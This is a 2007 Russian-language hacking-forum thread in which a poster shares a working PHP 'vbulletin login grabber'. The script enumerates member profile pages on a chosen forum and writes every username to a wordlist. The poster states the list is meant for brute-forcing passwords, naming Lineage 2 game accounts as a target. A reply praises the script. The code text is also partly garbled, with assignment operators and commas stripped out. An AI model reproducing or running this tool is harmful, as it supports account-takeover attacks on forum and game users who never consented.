Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   vbulletin login grabber (https://forum.antichat.xyz/showthread.php?t=39496)

.::Gh0st::. 04.05.2007 17:50

vbulletin login grabber
 
vbulletin login grabber
Пригодится для сбора листов для брута.

Как вариант использования предлагал геймерам на allcheats.ru собирать логины с игровых форумов и потом брутить lineage2 акки. (для того, чтобы это было возможно - декомментируйте строки 87, 88, 94 - проверка на символы русской раскладки)

PHP код:

<?
//vbulletin login grabber final
//coded by .::Gh0st::.
set_time_limit(0);
error_reporting(0);

//getting vars
$host $_POST["host"];
$dir $_POST["dir"];
$startpos intval($_POST["startpos"]);
$endpos intval($_POST["endpos"]);
$list $_POST["list"];
$all intval($_POST["all"]);
//eof getting vars

//checking for needed vars (drawing form or start the task)
if (empty($host) or ($startpos == 0) or ($endpos == 0) or empty($list))
//drawing form
?>
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="POST">
<b>Host:</b><br>
<input type="text" name="host" value="forum.antichat.ru" style="width: 200px;"><br>
<b>Directory (don't fill if root directory):</b><br>
<input type="text" name="dir" value="" style="width: 200px;"><br>
<b>Start position:</b><br>
<input type="text" name="startpos" value="1" style="width: 200px;"><br>
<b>End position:</b><br>
<input type="text" name="endpos" value="15" style="width: 200px;"><br>
<b>Output filename:</b><br>
<input type="text" name="list" value="dic.txt" style="width: 200px;"><br>
<b>All grabbing mode (may take a lot of time):</b><br>
<select name="all">
<option value="0">disabled</option>
<option value="1">enabled</option>
</select><br>
<input type="submit" name="submit" value="start">
</form>
</html>
<?
//eof drawing form
else
//start the task
echo "<b>[*]starting task on $host.. wait for a while<br>";
if (empty(
$dir)) {$path $host;}
else {
         
preg_match("/[\/a-z0-9]+(?:\/?[a-z0-9]+)+/i"$dir$match);
         
$path "$host$match[0]";
         }

//user count
$sock fsockopen($host80$errno$errstr10);
stream_set_timeout($sock60);
fputs($sock"GET http://$path/index.php HTTP/1.1\r\n");
fputs($sock"Host: $host\r\n");
fputs($sock"Connection: Close\r\n\r\n");
while (!
feof($sock))
{
        
$line fgets($sock);
        
preg_match("/пользовател(?:и|ей):\s[0-9]{1,3}(?:,?[0-9]{1,3})+/i"$line$count);
        if (
$count[0]) {break;}
}
fclose($sock);

echo 
"[i]$count[0]</b><br>";
$count[1] = preg_replace("/[а-я,:\s]+/i"""$count[0]);
//eof user count

//getting logins
$handle fopen($list"w");
if (
$all === 1) {$startpos 1$endpos $count[1]; echo "<b>[i]switched to full mode</b><br>";}
else {echo 
"<b>[i]grabbing from $startpos to $endpos</b><br>";}
for (
$u $startpos$u <= $endpos$u++)
        {
        
$sock fsockopen($host80$errno$errstr10);
        if (!
$sock) {$u $u 1; echo "socket error at $u - retrying"; continue;}
        
stream_set_timeout($sock60);
        
fputs($sock"GET http://$path/member.php?u=$u HTTP/1.1\r\n");
        
fputs($sock"Host: $host\r\n");
        
fputs($sock"Connection: Close\r\n\r\n");
        while (!
feof($sock))
        {
                
$line fgets($sock);
                
$nick preg_split("/просмотр профиля:\s|<\/title>/i"$line);
                if (
$nick[1]) {break;}
        }
        if (
$nick[1] === "\r\n") {if ($all === 1){$u $u -1;} continue;}
        
//if (!preg_match("/[а-я]+/i", $nick[1]))
        //{
                
$str $nick[1]."\r\n";
                
//$str = $nick[1].":".$nick[1]."\r\n";
                
fwrite($handle$str);
                echo 
"$u$str<br>";
                
$i $i 1;
        
//}
        
fclose($sock);
        }
fclose($handle);
//eof getting logins

echo "<b>[*]Task finished</b><br>";
echo 
"<b>[i]$i records grabbed</b>";
}
//eof
?>

С уважением, .::Gh0st::.

DRON-ANARCHY 04.05.2007 19:01

Цитата:

no need to write if root directory
скрипт классный... а вот английский хромает)


Время: 00:24